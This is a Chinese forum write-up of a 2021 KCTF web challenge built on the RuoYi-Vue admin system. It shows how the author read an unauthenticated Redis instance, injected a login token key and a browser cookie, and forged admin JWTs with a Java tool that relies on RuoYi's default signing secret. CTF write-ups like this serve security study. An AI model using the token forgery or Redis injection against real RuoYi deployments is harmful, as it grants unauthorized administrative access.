首页
社区
课程
招聘
2021KCTF 春季赛 Q3 马后炮
2021-5-15 03:27 6635

2021KCTF 春季赛 Q3 马后炮

2021-5-15 03:27
6635

2021KCTF 春季赛 Q3

  • 看雪.深信服 KCTF 2021 春季赛! https://ctf.pediy.com/game-team_list-14-17.htm
  • 2021 KCTF-WEB 出题思路 https://bbs.pediy.com/thread-267374.htm
  • RuoYi 文档 https://doc.ruoyi.vip/ruoyi-vue/document/hjbs.html
  • Downloading Apache Maven 3.6.3
  • Web 端口安全测绘工具 Goby https://gobies.org/

看雪.深信服 2021KCTF 春季赛 第三题 统一门派

 

题目描述:

 

一道 Web 题,访问链接: http://121.36.145.157/

 

利用技术绕过限制,登陆后台获得 flag 的值。

 

注意:第一次打开时,网站提示“正在加载系统资源,请耐心等待”,时间有些长,估计要2-3分钟,第二次就正常了,请耐心等待。

 

打开界面可知是采用“若依管理系统”搭建的一个默认网站,查看若依的官方文档可知:

  • 前端采用 Vue、Element UI。
  • 后端采用 Spring Boot、Spring Security、Redis & Jwt。
  • 权限认证使用 Jwt,支持多终端认证系统。

这道题目需要一定的 Java 项目经验,需要分析开源项目代码。

 

克隆项目代码:

1
git clone https://gitee.com/y_project/RuoYi-Vue.git

环境部署要求:

  • JDK >= 1.8 (推荐1.8版本)
  • Mysql >= 5.7.0 (推荐5.7版本)
  • Redis >= 3.0
  • Maven >= 3.0
  • Node >= 10 (前端子项目 rouyi-ui 使用)

项目使用 Maven 项目管理工具,需要安装它并在工程根目录下执行编译、打包命令:

  • mvn compile 编译命令生成 target 文件夹,里面就是编译后的内容。
  • mvn clean 清除命令主要是清除编译后产生的 target 文件夹。
  • mvn package 打包命令会将项目默认打成 jar 包,当然也可以打成 war 包。
  • mvn install 安装命令可以把项目打成 jar,放到本地仓库。

编译器会按子项目依赖关系逐次编译子项目,最后打包生成 ruoyi-admin.jar 后端程序。

 

打开项目后端 ruoyi-admin 运行 com.ruoyi.RuoYiApplication.java,后端运行成功可以访问 http://localhost:8080 但是不会出现静态页面,可以继续参考下面步骤部署 ruoyi-ui 前端,然后通过前端地址来访问。

 

项目提供的启动脚本 ry.sh 是 Linux 环境下使用的,在 Windows 系统上,可以执行以下命令启动,忽略 JVM 参数配置:

1
2
3
4
5
6
set AppName=ruoyi-admin.jar
set AppPath=ruoyi-admin/target/ruoyi-admin.jar
 
set JVM_OPTS="-Dname=$AppName  -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps  -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC"
 
java -jar %JVM_OPTS% %AppPath%

启动前,需要安装好 MySQL 数据服务及 Redis 服务,分别使用默认 3306/6379 端口。

 

创建 MySQL 数据库 ry-vue 并导入数据脚本 ry_2021xxxx.sql,quartz.sql,注意数据库名字使用了连字符:

1
create database `ry-vue`;

脚本执行有两种方式,一种是使用 source 读入文件,另一种是在命令行中使得管道,将脚本一行行导入执行:

1
2
mysql> source path\to\file_name.sql
mysql> \. path\to\file_name.sql

注意修改 ruoyi-admin\target\classes\application-druid.yml 配置文件中的 MySQL 账户及密码,注意,配置在 JAR 打包后修改可能无法生效。因为 Maven 打包时会将配置文件一并打包到 BOOT-INF 内,可以使用 WinRAR 覆盖配置文件。

 

或者使用 jar 命令解包配置文件,更新后再打包回去:

1
2
jar -xf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml
jar -uf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml

安装 Nginx 并配置前端静态文件和后端 API 服务,根据 ruoyi-ui 编译设置 prod-api 或 stage-api,另外不要随便设置 NGINX 环境变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
location / {
    root   /home/ruoyi/projects/ruoyi-ui;
    try_files $uri $uri/ /index.html;
    index  index.html index.htm;
}
 
location /prod-api/{
    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://localhost:8080/;
}

成功配置后端可以尝试访问:

1
2
>curl http://localhost:8080
{"msg":"请求访问:/,认证失败,无法访问系统资源","code":401}

默认控制台管理用户名和密码 admin/admin123,本地配置登录成功后却出现一个异常,导致 UI 不能进入管理界面:

1
java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeConverter

可以登录试用的站点 http://vue.ruoyi.vip/login 研究接口。

 

从使用体验来看,这个项目并不人性化,需要相当专业的人员进行配置才能正常运行。Spring Boot 是一款开箱即用框架,提供各种默认配置来简化项目配置,但是到了 Rouyi 却变得相当复杂的配置。

 

阅读部署文档,发现目标正好开启了 Redis 6379 端口,并且可以未授权访问。大概了解一下若依的登录逻辑可知,它的用户信息是缓存在 redis 中的,并且通过 JWT 进行认证。

 

自己搭建一个环境登录 admin 账号后通过 Redis 命令 keys * 可查询到一个 login_tokens,目标主机上也有一个:

1
2
3
4
5
6
$ redis-cli -h 121.36.145.157
121.36.145.157:6379> keys
(error) ERR wrong number of arguments for 'keys' command
121.36.145.157:6379> keys *
1) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
121.36.145.157:6379>

这个 TokenKey 应该关联存储了用户的信息,尝试使用 get 查询关联的数据,为了方便观察,以下直接展示 JSON 数据重要部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
{
 
    "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
    "permissions":Set["*:*:*"],
    "token":"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58",
    "user":{
        "admin":true,
        "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
        "roles":[
            {
            "admin":true,
            "dataScope":"1",
            "deptCheckStrictly":false,
            "flag":false,
            "menuCheckStrictly":false,
            "params":{
                "@type":"java.util.HashMap"
            },
            "roleId":1,
            "roleKey":"admin",
            "roleName":"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98",
            "roleSort":"1",
            "status":"0"}
        ],
        "sex":"1",
        "status":"0",
        "userId":1,
        "userName":"admin"
    },
    "username":"admin"
}

以上 JSON 数据对应了一个 LoginUser.java 模型对象。

 

可以在 ruoyi-common 依赖项目中找到这个常量定义,Redis 保存的这个 Key 字符串就是 TokenKey,它包含:

  • LOGIN_TOKEN_KEY 常量定义的前缀 "login_tokens";
  • 后缀部分为 UUID,对应 LOGIN_USER_KEY

再根据引用找到 TokenService.java 和 SysLoginService.java 这两个代码文件,它们负责 TokenKey 的读取和生成,包括登录验证。

  • 通过重载方法 createToken 生成 TokenKey;

代码分析:

 

登陆成功后会在 Redis 里写入包含 UUID 的 TokenKey -> 当前用户信息,鉴权时服务器验证机制从 Authorization 获取 Token,而不是 Admin-Token,取出 JWT Token,然后取出 UUID,然后取出用户信息。

 

从代码可以看到 LOGIN_USER_KEY 即 login_user_key 会放入 JWT 的 Payload 中传递给客户端,并且它也是 TokenKey 的后缀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public LoginUser getLoginUser(HttpServletRequest request)
{
    // 获取请求携带的令牌
    String token = getToken(request);
    if (StringUtils.isNotEmpty(token))
    {
        Claims claims = parseToken(token);
        // 解析对应的权限以及用户信息
        String uuid = (String) claims.get(Constants.LOGIN_USER_KEY);
        String userKey = getTokenKey(uuid);
        LoginUser user = redisCache.getCacheObject(userKey);
        return user;
    }
    return null;
}

所以只要在本地搭建一个环境,登录成功后,将本地的 TokenKey 通过目标主机后门写入 Redis 数据库,然后中在浏览器中通过脚本修改 Cookie,将本地的 获取到的 Admin-Token 写入。这样就伪造了一个 admin 用户已经登陆的 redis key + 浏览器 cookie。

 

去官网的演示站里面登录一下,提取 Admin-token 并 Base64 解码 JWT,可以得到以下两组数据:

1
2
{"alg":"HS512"}
{"login_user_key":"e8b214c6-997a-4769-a5fe-ec45c863203c"}

步骤:

  • 本地搭建好 ruoyi-vue,这个花了不少时间
  • 本地登陆 admin/admin123 后,看到本地 Redis 里生成了 login_tokens:{UUID}
  • 登陆服务器的 Redis,写入该 key
  • 将本地的 cookie 通过 js 写入远程登陆页面
  • 刷新后成功进入后台,看到 flag

另一个方法是使用 JWT 签名验证算法生成 Token,先随机生成一个 Token 写入后台,然后将生成的 Token 结合源码默认 secret 密钥计算得到一个 JWT 的签名用于进行网站访问,如果 application.yml 配置使用的 secret 是默认值就可以绕过登录了。

1
2
3
4
5
6
7
8
# token配置
token:
    # 令牌自定义标识
    header: Authorization
    # 令牌密钥
    secret: abcdefghijklmnopqrstuvwxyz
    # 令牌有效期(默认30分钟)
    expireTime: 30

生成 Token 后,通过控制台执行脚本修改 cookei,然后再将页面地址修改到登录的首页 http://121.36.145.157/index:

1
document.cookie = "Admin-Token=eyJh....";

获取首页显示的 CTF flag:2435_ert3_Wee,FLAG提交格式为 flag{***},完成任务。其实出题战队未注意 FLAG 在 Webpack 打包时没有清理,所以通过静态脚本文件也可以找到,真是大意了!

1
http://121.36.145.157/static/js/4.js

出题战队说明:

这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让 Redis 外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了 JWT 的系统都可能用的这套逻辑,在实战中可以通过设置比较强的 JWT 秘钥解决这个问题,本题的问题是在于没有修改 JWT 的默认秘钥。我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。

JWT Token 生成工具

最后,工具代码展示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package jwtdemo;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
 
public class App
{
    static String LOGIN_USER_KEY = "login_user_key";
    static String secret = "abcdefghijklmnopqrstuvwxyz";
 
    public static void main( String[] args )
    {
        String uuid = getUUID();
        if(args.length>0) uuid = args[0];
        System.out.println( "UUID: " + uuid );
 
        System.out.println( "Hello JWT! " + args[0] );
        String token = genToken(uuid);
        System.out.println("login_tokens:" + uuid);
        System.out.println("Authorization: Bearer " + token);
        System.out.println("document.cookie = \"Admin-Token=" + token+"\"");
        String subject = parseToken(token);
        System.out.println("Claims: " + subject);
    }
 
    public static String genToken(String uuid)
    {
        Map<String, Object> claims = new HashMap<>();
        claims.put(LOGIN_USER_KEY, uuid);
 
        String token = Jwts.builder()
                .setClaims(claims)
                .signWith(SignatureAlgorithm.HS512, secret).compact();
        return token;
    }
 
    public static String parseToken(String token)
    {
        Claims claims = Jwts.parser()
                .setSigningKey(secret)
                .parseClaimsJws(token)
                .getBody();
        // String subject = claims.getSubject();
        String uuid = (String) claims.get(LOGIN_USER_KEY);
        return uuid;
    }
 
    public static String getUUID(){
        UUID uuid = UUID.randomUUID();
        return uuid.toString();
        // return Long.toHexString();
    }
}

全 Maven 创建模板工程 maven-archetype-quickstart,执行以下命令,从提示列表中选择:

1
mvn archetype:generate

选好原型 Maven 还会询问项目细节,按要求输入项目细节。

  • groupId 指定一个唯一的命名空间,这里指定为 jwtdemo;
  • artifactId 项目名指定为 demo,会创建相应的子目录;

完成后,编译运行,参数传入后台 Redis 数据库中已经设置的 UUID:

1
mvn compile && mvn exec:java -Dexec.mainClass="jwtdemo.App" -Dexec.args="3845adb5-7e7c-47b6-9b8b-4b4063441f2f A B C"

配置文件 pom.xml 参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>jwtdemo</groupId>
  <artifactId>demo</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>
 
  <name>demo</name>
  <url>http://maven.apache.org</url>
 
  <properties>
    <java.version>1.8</java.version>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <jwt.version>0.9.1</jwt.version>
  </properties>
 
  <dependencies>
    <dependency>
        <groupId>io.jsonwebtoken</groupId>
        <artifactId>jjwt</artifactId>
        <version>${jwt.version}</version>
    </dependency>
 
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
 
  <build>
      <plugins>
          <plugin>
              <groupId>org.apache.maven.plugins</groupId>
              <artifactId>maven-compiler-plugin</artifactId>
              <version>3.1</version>
              <configuration>
                  <source>${java.version}</source>
                  <target>${java.version}</target>
                  <encoding>${project.build.sourceEncoding}</encoding>
              </configuration>
          </plugin>
      </plugins>
  </build>
 
</project>


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回